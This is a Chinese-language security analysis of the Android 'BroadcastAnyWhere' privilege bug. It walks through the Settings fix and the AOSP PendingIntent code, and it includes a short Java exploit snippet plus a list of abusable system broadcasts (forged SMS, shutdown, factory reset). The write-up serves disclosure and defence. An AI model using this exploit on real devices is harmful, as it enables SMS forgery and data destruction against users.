Android BroadcastAnyWhere(Google Bug 17356824)漏洞具體分析
作者:簡行(又名 低端碼農)
繼上次Android的LaunchAnyWhere組件安全漏洞後,近期Google在Android 5.0的源代碼上又修復了一個高危漏洞。該漏洞簡直是LaunchAnyWhere的姊妹版——BroadcastAnyWhere。
通過這個漏洞,攻擊者能夠以system用戶的身份發送廣播。這意味著攻擊者能夠無視一切的BroadcastReceiver組件訪問限制。並且該漏洞影響範圍極廣。Android 2.0+至4.4.x都受影響。
漏洞分析
修復前後代碼對照
BroadcastAnyWhere跟LaunchAnyWhere的利用原理很相似,兩者都利用了Setting的uid是system進程高權限操作。
漏洞相同發生在Setting的加入帳戶的流程上,該流程具體見《Android LaunchAnyWhere (Google Bug 7699048)漏洞具體解釋及防禦措施》一文。而BroadcastAnyWhere漏洞則發生在這個流程之前。在分析漏洞之前。 我們先來看看漏洞修復的前後對照。具體代碼在AddAccountSetting的addAccount方法。
修復前代碼中下:
... private static final String KEY_CALLER_IDENTITY = "pendingIntent"; ... private void addAccount(String accountType) { Bundle addAccountOptions = new Bundle(); mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0); addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent); addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this)); AccountManager.get(this).addAccount( accountType, null, /* authTokenType */ null, /* requiredFeatures */ addAccountOptions, null, mCallback, null /* handler */); mAddAccountCalled = true; }
修復後代碼例如以下
... private static final String KEY_CALLER_IDENTITY = "pendingIntent"; private static final String SHOULD_NOT_RESOLVE = "SHOULDN‘T RESOLVE!"; ... private void addAccount(String accountType) { Bundle addAccountOptions = new Bundle(); /* * The identityIntent is for the purposes of establishing the identity * of the caller and isn‘t intended for launching activities, services * or broadcasts. * * Unfortunately for legacy reasons we still need to support this. But * we can cripple the intent so that 3rd party authenticators can‘t * fill in addressing information and launch arbitrary actions. */ Intent identityIntent = new Intent(); identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE)); identityIntent.setAction(SHOULD_NOT_RESOLVE); identityIntent.addCategory(SHOULD_NOT_RESOLVE); mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0); addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent); addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this)); AccountManager.get(this).addAccountAsUser( accountType, null, /* authTokenType */ null, /* requiredFeatures */ addAccountOptions, null, mCallback, null /* handler */, mUserHandle); mAddAccountCalled = true; }
mPenddingIntent的作用主要是作為身份識別用的。
通過前後對照。修復方案就是把放入mPendingIntent的intent。由原來簡單的new Intent()改為事先經過一系列填充的identityIntent。這樣做,就能夠防止第三方的Authenticator(主要是針對木馬)進行二次填充。後面會具體介紹。
註意PendingIntent.getBroadcast調用的參加中,在修復前傳入的是一個"空"的Intent對象,這對後面的分析很關鍵。
PeddingIntent的實現原理
通過上面代碼對照分析。假設你已經對PeddingIntent的實現細節比較清楚的話,那麽這節的內容能夠跳過。在PenddingIntent.java源文件裏,有這麽一段說明:
/** * ... * ... * <p>By giving a PendingIntent to another application, * you are granting it the right to perform the operation you have specified * as if the other application was yourself (with the same permissions and * identity). As such, you should be careful about how you build the PendingIntent: * almost always, for example, the base Intent you supply should have the component * name explicitly set to one of your own components, to ensure it is ultimately * sent there and nowhere else. * * <p>A PendingIntent itself is simply a reference to a token maintained by * the system describing the original data used to retrieve it. This means * that, even if its owning application‘s process is killed, the * PendingIntent itself will remain usable from other processes that * have been given it. If the creating application later re-retrieves the * same kind of PendingIntent (same operation, same Intent action, data, * categories, and components, and same flags), it will receive a PendingIntent * representing the same token if that is still valid, and can thus call * {@link #cancel} to remove it. * ... * ... */
簡單來說。就是指PenddingIntent對象能夠按預先指定的動作進行觸發。當這個對象傳遞(通過binder)到其它進程(不同uid的用戶),其它進程利用這個PenddingInten對象,能夠原進程的身份權限運行指定的觸發動作。這有點相似於Linux上suid或guid的效果。另外,因為觸發的動作是由系統進程運行的,因此哪怕原進程已經不存在了,PenddingIntent對象上的觸發動作依舊有效。
PeddingIntent是一個Parcelable對象。包括了一個叫名mTarget成員,類型是。這個字段事實上是個BinerProxy對象,真正的實現邏輯在PenddingIntentRecored.java。從源代碼分析可知。PendingIntent.getBroadcast終於調用的是ActivityManagerService中的getIntentSender方法。關鍵代碼例如以下:
public IIntentSender getIntentSender(int type, String packageName, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options, int userId) { enforceNotIsolatedCaller("getIntentSender"); ... ... synchronized(this) { int callingUid = Binder.getCallingUid(); int origUserId = userId; userId = handleIncomingUser(Binder.getCallingPid(), callingUid, userId, type == ActivityManager.INTENT_SENDER_BROADCAST, false, "getIntentSender", null); ... ... return getIntentSenderLocked(type, packageName, callingUid, userId, token, resultWho, requestCode, intents, resolvedTypes, flags, options); } catch (RemoteException e) { throw new SecurityException(e); } } } IIntentSender getIntentSenderLocked(int type, String packageName, int callingUid, int userId, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options) { if (DEBUG_MU) Slog.v(TAG_MU, "getIntentSenderLocked(): uid=" + callingUid); ActivityRecord activity = null; ... ... PendingIntentRecord.Key key = new PendingIntentRecord.Key(type, packageName, activity, resultWho, requestCode, intents, resolvedTypes, flags, options, userId); //依據調用者的信息,生成PendingIntentRecord.Key對象 WeakReference<PendingIntentRecord> ref; ref = mIntentSenderRecords.get(key); PendingIntentRecord rec = ref != null ?ref.get() : null; ... ... rec = new PendingIntentRecord(this, key, callingUid); //最後生成PendingIntentRecord對象 mIntentSenderRecords.put(key, rec.ref); //保存 ... return rec; //並返回 }
總結一下這個過程。就是AMS會把生成PenddingIntent的進程(Caller)信息保存到PendingIntentRecord.Key。並為其維護一個PendingIntentRecord對象,這個對象是一個BinderStub。
PendingIntent提供了一系列的send方法進行動作觸發。終於是調用PendingIntentRecord的send方法,我們直接分析這裏的代碼:
public int send(int code, Intent intent, String resolvedType, IIntentReceiver finishedReceiver, String requiredPermission) { return sendInner(code, intent, resolvedType, finishedReceiver, requiredPermission, null, null, 0, 0, 0, null); }
跟進去:
int sendInner(int code, Intent intent, String resolvedType, IIntentReceiver finishedReceiver, String requiredPermission, IBinder resultTo, String resultWho, int requestCode, int flagsMask, int flagsValues, Bundle options) { synchronized(owner) { if (!canceled) { sent = true; if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) { owner.cancelIntentSenderLocked(this, true); canceled = true; } Intent finalIntent = key.requestIntent != null ? new Intent(key.requestIntent) : new Intent(); if (intent != null) { int changes = finalIntent.fillIn(intent, key.flags); //用傳進來的intent進行填充finalIntent if ((changes&Intent.FILL_IN_DATA) == 0) { resolvedType = key.requestResolvedType; } } else { resolvedType = key.requestResolvedType; } ... ... switch (key.type) { ... case ActivityManager.INTENT_SENDER_BROADCAST: try { // If a completion callback has been requested, require // that the broadcast be delivered synchronously owner.broadcastIntentInPackage(key.packageName, uid, finalIntent, resolvedType, finishedReceiver, code, null, null, requiredPermission, (finishedReceiver != null), false, userId); sendFinish = false; } catch (RuntimeException e) { Slog.w(ActivityManagerService.TAG, "Unable to send startActivity intent", e); } break; ... } ... return 0; } } return ActivityManager.START_CANCELED;
針對該漏洞我們僅僅分析broadcast這個分支的邏輯就可以。這裏發現。會用send傳進來的intent對finalIntent進行填充。通過前面的代碼分析得到。這裏的finalInent是一個“空”的intent。即mAction, mData,mType等等全為null,這使得差點兒能夠任意指定finalIntent的內容。見fillIn的代碼:
public int fillIn(Intent other, int flags) { int changes = 0; if (other.mAction != null && (mAction == null || (flags&FILL_IN_ACTION) != 0)) { mAction = other.mAction; changes |= FILL_IN_ACTION; } if ((other.mData != null || other.mType != null) && ((mData == null && mType == null) || (flags&FILL_IN_DATA) != 0)) { mData = other.mData; mType = other.mType; changes |= FILL_IN_DATA; } if (other.mCategories != null && (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) { if (other.mCategories != null) { mCategories = new ArraySet<String>(other.mCategories); } changes |= FILL_IN_CATEGORIES; } if (other.mPackage != null && (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) { // Only do this if mSelector is not set. if (mSelector == null) { mPackage = other.mPackage; changes |= FILL_IN_PACKAGE; } } // Selector is special: it can only be set if explicitly allowed, // for the same reason as the component name. if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) { if (mPackage == null) { mSelector = new Intent(other.mSelector); mPackage = null; changes |= FILL_IN_SELECTOR; } } if (other.mClipData != null && (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) { mClipData = other.mClipData; changes |= FILL_IN_CLIP_DATA; } // Component is special: it can -only- be set if explicitly allowed, // since otherwise the sender could force the intent somewhere the // originator didn‘t intend. if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) { mComponent = other.mComponent; changes |= FILL_IN_COMPONENT; } mFlags |= other.mFlags; if (other.mSourceBounds != null && (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) { mSourceBounds = new Rect(other.mSourceBounds); changes |= FILL_IN_SOURCE_BOUNDS; } if (mExtras == null) { if (other.mExtras != null) { mExtras = new Bundle(other.mExtras); } } else if (other.mExtras != null) { try { Bundle newb = new Bundle(other.mExtras); newb.putAll(mExtras); mExtras = newb; } catch (RuntimeException e) { // Modifying the extras can cause us to unparcel the contents // of the bundle, and if we do this in the system process that // may fail. We really should handle this (i.e., the Bundle // impl shouldn‘t be on top of a plain map), but for now just // ignore it and keep the original contents. :( Log.w("Intent", "Failure filling in extras", e); } } return changes; }
從上面代碼得知,我們能夠任意指定除了mComponent之外的全部字段,這已經能夠滿足大部分的使用情景了。
漏洞利用和危害
有了前面分析,漏洞復用代碼就很easy了。這裏一個是發送系統開機廣播的樣例:
// the exploit of broadcastAnyWhere final String KEY_CALLER_IDENTITY = "pendingIntent"; PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY); Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED"); intent_for_broadcast.putExtra("info", "I am bad boy"); try { pendingintent.send(mContext, 0, intent_for_broadcast); } catch (CanceledException e) { e.printStackTrace(); }
事實上可利用的廣播實在太多了。再比方:
- 發送android.provider.Telephony.SMS_DELIVER能夠偽造接收短信。
- 發送android.intent.action.ACTION_SHUTDOWN能夠直接關機。
- 發送com.google.android.c2dm.intent.RECEIVE廣播,設備將恢復至出廠設置。
- 等等
攻擊者通過漏洞能夠偽造親朋好友或者銀行電商的短信。跟正常的短信全然無異。普通用戶根本無法甄別。
除了偽造短信外,攻擊者能夠利用該漏洞恢復出廠設置,對對用戶進行威脅等等。
ComponentSuperAccessor
結合LuanchAynWhere和BroadcastAnyWhere兩個漏洞,我適當的封裝了一下。實現了一個ComponentSuperAccessor的庫,有興趣的朋友能夠到https://github.com/boyliang/ComponentSuperAccessor.git下載。
阿裏移動安全專家建議
- 對於開發人員。PenddingIntent盡可能不要跨進程傳遞。避免權限泄漏。或者盡量把PendingIntent中的字段都填充滿,避免被惡意重定向。
- 對於用戶和廠商,盡快升級到Android L;
Android BroadcastAnyWhere(Google Bug 17356824)漏洞具體分析